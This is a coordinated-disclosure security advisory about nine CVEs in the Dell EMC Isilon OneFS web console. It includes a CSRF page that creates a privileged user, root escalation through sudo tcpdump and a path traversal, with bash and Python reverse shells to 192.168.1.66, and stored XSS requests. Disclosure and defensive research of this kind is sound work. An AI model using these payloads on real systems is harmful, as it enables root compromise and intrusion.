Core Security - Corelabs Advisory
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Dell EMC Isilon OneFS Multiple Vulnerabilities

1. **Advisory Information**

Title: Dell EMC Isilon OneFS Multiple Vulnerabilities
Advisory ID: CORE-2017-0009
Advisory URL:
http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities
Date published: 2018-02-14
Date of last update: 2018-02-14
Vendors contacted: Dell EMC
Release mode: Coordinated release

2. **Vulnerability Information**

Class: Cross-Site Request Forgery [CWE-352], Improper Privilege
Management [CWE-269], Improper Privilege Management [CWE-269], Improper
Neutralization of Input During Web Page Generation [CWE-79], Improper
Neutralization of Input During Web Page Generation [CWE-79], Improper
Neutralization of Input During Web Page Generation [CWE-79], Improper
Neutralization of Input During Web Page Generation [CWE-79], Improper
Neutralization of Input During Web Page Generation [CWE-79], Improper
Neutralization of Input During Web Page Generation [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186,
CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201,
CVE-2018-1202

3. **Vulnerability Description**

Dell EMC's website states that:[1]

The EMC Isilon scale-out NAS storage platform combines modular hardware
with unified software to harness unstructured data. Powered by the OneFS
operating system, an EMC Isilon cluster delivers a scalable pool of
storage with a global namespace.

The platform's unified software provides centralized Web-based and
command-line administration to manage the following features:

- A cluster that runs a distributed file system

- Scale-out nodes that add capacity and performance

- Storage options that manage files and tiering

- Flexible data protection and high availability

- Software modules that control costs and optimize resources

Multiple vulnerabilities were found in the Isilon OneFS Web console that
would allow a remote attacker to gain command execution as root.

4. **Vulnerable Packages**

. Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204)
. Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs)
. Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs)
. Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs)
. Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188,
  CVE-2018-1201, CVE-2018-1204, CVE-2018-1213)
. Dell EMC Isilon OneFS version 7.1.1.11 (CVE-2018-1186, CVE-2018-1201,
  CVE-2018-1202, CVE-2018-1204, CVE-2018-1213)

Other products and versions might be affected, but they were not tested.

5. **Vendor Information, Solutions and Workarounds**

Dell EMC provided a link to the Download for Isilon OneFS page which
contains the patches:

. https://support.emc.com/downloads/15209_Isilon-OneFS

6. **Credits**

These vulnerabilities were discovered and researched by Ivan Huertas and
Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.

7. **Technical Description / Proof of Concept Code**

The Web console contains several sensitive features that are vulnerable
to cross-site request forgery. We describe this issue in section 7.1.

Sections 7.2 and 7.3 show two vectors to escalate privileges to root.

Various persistent cross-site scripting issues are presented in the
remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9).

7.1. **Cross-site request forgery leading to command execution**

[CVE-2018-1213]
There are no anti-CSRF tokens in any forms on the Web interface.
This would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.

The Web console contains a plethora of sensitive actions that can be
abused, such as adding new users with SSH access or re-mapping existing
storage directories to allow read-write-execute access to all users.

All requests are JSON-encoded, which in some cases might hinder
exploitation of CSRF vulnerabilities. However, the application does not
verify the content-type set. This allows an attacker to exploit the CSRF
vulnerabilities by setting a text/plain content-type and sending the
request body as JSON_PAYLOAD=ignored.

The following proof of concept creates a new user and assigns him a new
role with enough privileges to log in via SSH, configure identifies,
manage authentication providers, configure the cluster and run the
remote support tools.

/-----
<html>
  <body>
    <form id="addUser" target="_blank"
action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem"
method="POST" enctype="text/plain">
      <input type="hidden"
name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}"
value="" />
    </form>
    <form id="addRole" target="_blank"
action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST"
enctype="text/plain">
      <input type="hidden"
name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote
Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}"
value="" />
    </form>
    <script>
      document.getElementById("addUser").submit();
      window.setTimeout(function() {
document.getElementById("addRole").submit() }, 1000);
    </script>
  </body>
</html>
-----/

7.2. **Privilege escalation due to incorrect sudo permissions**

[CVE-2018-1203]
The compadmin user can run the tcpdump binary with root privileges via
sudo. This allows for local privilege escalation, as tcpdump can be
instructed to run shell commands when rotating capture files.

/-----
pepe-1$ id
uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon)
pepe-1$ cat /tmp/lala.sh
#!/bin/bash

bash -i >& /dev/tcp/192.168.1.66/8888 0>&1
-----/

Once the desired shell script is in place, the attacker can run tcpdump
as follows to trigger the execution:

/-----
pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump
tcpdump: WARNING: unable to contact casperd
tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size
65535 bytes
/tmp/lala.sh: connect: Connection refused
/tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused
/tmp/lala.sh: connect: Connection refused
/tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused
-----/

As can be seen below, the script runs with root privileges:

/-----
$ nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2,
sport 57692)
bash: no job control in this shell
[root@pepe-1 /compadmin]# id
uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(admin),20(staff),70(ifs)
-----/

7.3. **Privilege escalation via remote support scripts**

[CVE-2018-1204]
>From the documentation:

"OneFS allows remote support through EMC Secure Remote Services (ESRS)
which monitors your EMC Isilon cluster, and with your permission, allows
remote access to Isilon Technical Support personnel to gather cluster
data and troubleshoot issues."

"After you enable remote support through ESRS, Isilon Technical Support
personnel can request logs with scripts that gather EMC Isilon cluster
data and then upload the data.
The remote support scripts based on the Isilon isi_gather_info
log-gathering tool are located in the /ifs/data/Isilon_Support/
directory on each node."

"Additionally, isi_phone_home, a tool that focuses on cluster- and
node-specific data, is enabled once you enable ESRS. This tool is
pre-set to send information about your cluster to Isilon Technical
Support on a weekly basis. You can disable or enable isi_phone_home from
 the OneFS command-line interface."

As a cluster administrator or compadmin, it is possible to enable the
remote support functionality, hence enabling the isi_phone_home tool via
sudo. This tool is vulnerable to a path traversal when reading the
script file to run, which would enable an attacker to execute arbitrary
python code with root privileges.

If remote support is not enabled, an attacker could perform the
following operations in order to enable it:

/-----
pepe-1$ sudo isi network subnets create 1 ipv4 1
pepe-1$ sudo isi network pools create 1.0
pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes
--primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no
--gateway-access-pools=1.0
-----/

The isi_phone_home tool is supposed to run scripts located in the
root-only writable directory /usr/local/isi_phone_home/script.
However, the provided script name is used to construct the file path
without sanitization, allowing an attacker to reference other locations.

/-----
def run_script(script_file_name):
    script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name
    if os.path.isfile(script_path):
        cmd = 'python ' + script_path  + ' 2>&1 '
        command_thread = command.Command(cmd)
        exit_code, output =
command_thread.run(int(CFG.get("SCRIPT_TIEMOUT")))
        if exit_code:
            logging.error("Error: {0} running script: {1}
".format(str(exit_code), output))
    else:
        logging.error("File: {0} list_file_name doesn't exist
".format(script_path))
-----/

The final step would be to create a malicious python script on any
writable location and call it via the isi_phone_tool using sudo.
Keep in mind that the previous steps are not required if the system does
already have remote support enabled.

/-----
pepe-1$ cat /tmp/lala.py
#!/usr/bin/env python

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.66",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

pepe-1$ sudo /usr/bin/isi_phone_home --script-file
../../../../../tmp/lala.py
-----/

/-----
$ nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2,
sport 56807)
pepe-1# id
uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(admin),20(staff),70(ifs)
-----/

7.4. *Persistent cross-site scripting in the cluster description*

[CVE-2018-1186]
The description parameter of the /cluster/identity endpoint is
vulnerable to cross-site scripting.

After the cluster's description is updated, the payload will be executed
every time the user opens the Web console.

/-----
PUT /platform/3/cluster/identity HTTP/1.1
Host: 192.168.1.11:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 61
Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24;
Connection: close

{"description":"my cluster<img src=x onerror=\"alert(1)\"/>"}
-----/

7.5. **Persistent cross-site scripting in the Network Configuration page**

[CVE-2018-1187]
The description parameter of the /network/groupnets endpoint is
vulnerable to cross-site scripting.

After the description is updated, the payload will be executed every
time the user opens the network configuration page.

/-----
POST /platform/4/network/groupnets HTTP/1.1
Host: 192.168.1.11:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 186
Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41;
Connection: close

{"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false}
-----/

7.6. **Persistent cross-site scripting in the Authentication Providers
page**

[CVE-2018-1188]
The realm parameter of the /auth/settings/krb5/realms endpoint is
vulnerable to cross-site scripting.

After the realm is updated, the payload will be executed every time the
user opens the Kerberos tab of the Authentication Providers page.

/-----
POST /platform/1/auth/settings/krb5/realms HTTP/1.1
Host: 192.168.1.11:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 78
Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41;
Connection: close

{"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x
onerror=alert(1)"}
-----/

7.7. **Persistent cross-site scripting in the Antivirus page**

[CVE-2018-1189]
The name parameter of the /antivirus/policies endpoint is vulnerable to
cross-site scripting.

After the name is updated, the payload will be executed every time the
user opens the Antivirus page.

/-----
POST /platform/3/antivirus/policies HTTP/1.1
Host: 192.168.1.11:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 172
Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06;
Connection: close

{"name":"pepe<img src=x
onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null}
-----/

7.8. **Persistent cross-site scripting in the Job Operations page**

[CVE-2018-1201]
The description parameter of the /job/policies endpoint is vulnerable to
cross-site scripting.

After the description is updated, the payload will be executed every
time the user opens the Impact Policies section of the Job Operations
page.

/-----
POST /platform/1/job/policies HTTP/1.1
Host: 192.168.1.11:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 210
Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea;
Connection: close

{"name":"my policy","description":"<img src=x
onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday
00:00","end":"Sunday
00:00","impact":"Low"},{"impact":"Low","begin":"Sunday
01:03","end":"Monday 01:01"}]}
-----/

7.9. **Persistent cross-site scripting in the NDMP page**

[CVE-2018-1202]
The name parameter of the /protocols/ndmp/users endpoint is vulnerable
to cross-site scripting.

After the name is updated, the payload will be executed every time the
user opens the NDMP Settings section of the NDMP page.

/-----
POST /platform/3/protocols/ndmp/users HTTP/1.1
Host: 192.168.1.11:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 64
Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24;
Connection: close

{"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"}
-----/

8. **Report Timeline**

2017-09-25: Core Security sent an initial notification to Dell EMC,
including a draft advisory.
2017-09-26: Dell EMC confirmed reception and informed an initial
response would be ready by October 5th.
2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities
reported except one, for which evaluation will be finalized soon. Dell
EMC stated that, for the confirmed issues, a remediation plan will be
provided by 10/16.
2017-10-05: Core Security thanked the follow up email.
2017-10-06: Dell EMC reported an update on one privilege escalation
vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE
both are equivalent to admin level access'. They said they will be
updating the documentation to make it clearer.
2017-10-11: Core Security thanked for the clarification and confirmed
that section will be removed from the final advisory.
2017-10-16: Dell EMC sent a schedule for fixing six of the reported
vulnerabilities, with specific dates for every product's version.
2017-10-16: Core Security thanked the information and said it will
analyze the proposals sent once all the data is available.
2017-10-19: Dell EMC sent a schedule for the remaining three reported
vulnerabilities, with specific dates for every product's version.
2017-10-31: Core Security on the schedule sent, stating that fixing the
vulnerabilities by June 2018 is unacceptable given current industry
standards. Requested a review of the timeline or a thorough explanation
that justifies such delay.
2017-11-01: Dell EMC answered back stating that after reviewing the
original schedule, they said they believe they could have fixes ready
for versions 8.0.x and 8.1.x by January 2018. Only caveat is the
vulnerability 7.1 that might be pushed past January, although they said
they think they could meet the January deadline.
2017-11-13: Core Security thanked Dell's review of the release dates and
agreed on the proposed schedule, stating Core Security would like to
publish a single advisory for all the vulnerabilities reported.
Also requested CVE IDs for
each of the issues.
2018-01-16: Core Security asked for a status update on the release date
for the fixes since there was no update from Dell EMC.
2018-01-17: Dell EMC answered back stating they are awaiting
confirmation from the product team about the exact dates of release.
They said they will get back to us by the end of this week. Dell EMC
also asked our GPG public key again.
2018-01-18: Core Security thanked for the update and sent the advisory's
public GPG key.
2018-01-19: Dell EMC stated they are currently working on drafting their
advisory and will send it back to us (including CVEs) once they have the
necessary approvals.
2018-01-23: Dell EMC asked for our updated draft advisory.
2018-01-23: Core Security sent the updated draft advisory to Dell EMC.
2018-01-25: Dell EMC notified that the team are targeting to have the
fix available by February 12th. Additionally, Dell will send its draft
advisory by January 31th.
2018-01-29: Core Security thanked for the update and proposed February
14th as publication date.
2018-01-31: Dell EMC informed Core Security that they agreed to release
on February 14th. They also provided CVE IDs for each vulnerability
reported.
2018-02-01: Dell EMC sent its draft advisory.
2018-02-14: Advisory CORE-2017-0009 published.

9. **References**

[1]
https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm

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12. **Disclaimer**

The contents of this advisory are copyright (c) 2017 Core Security and
(c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/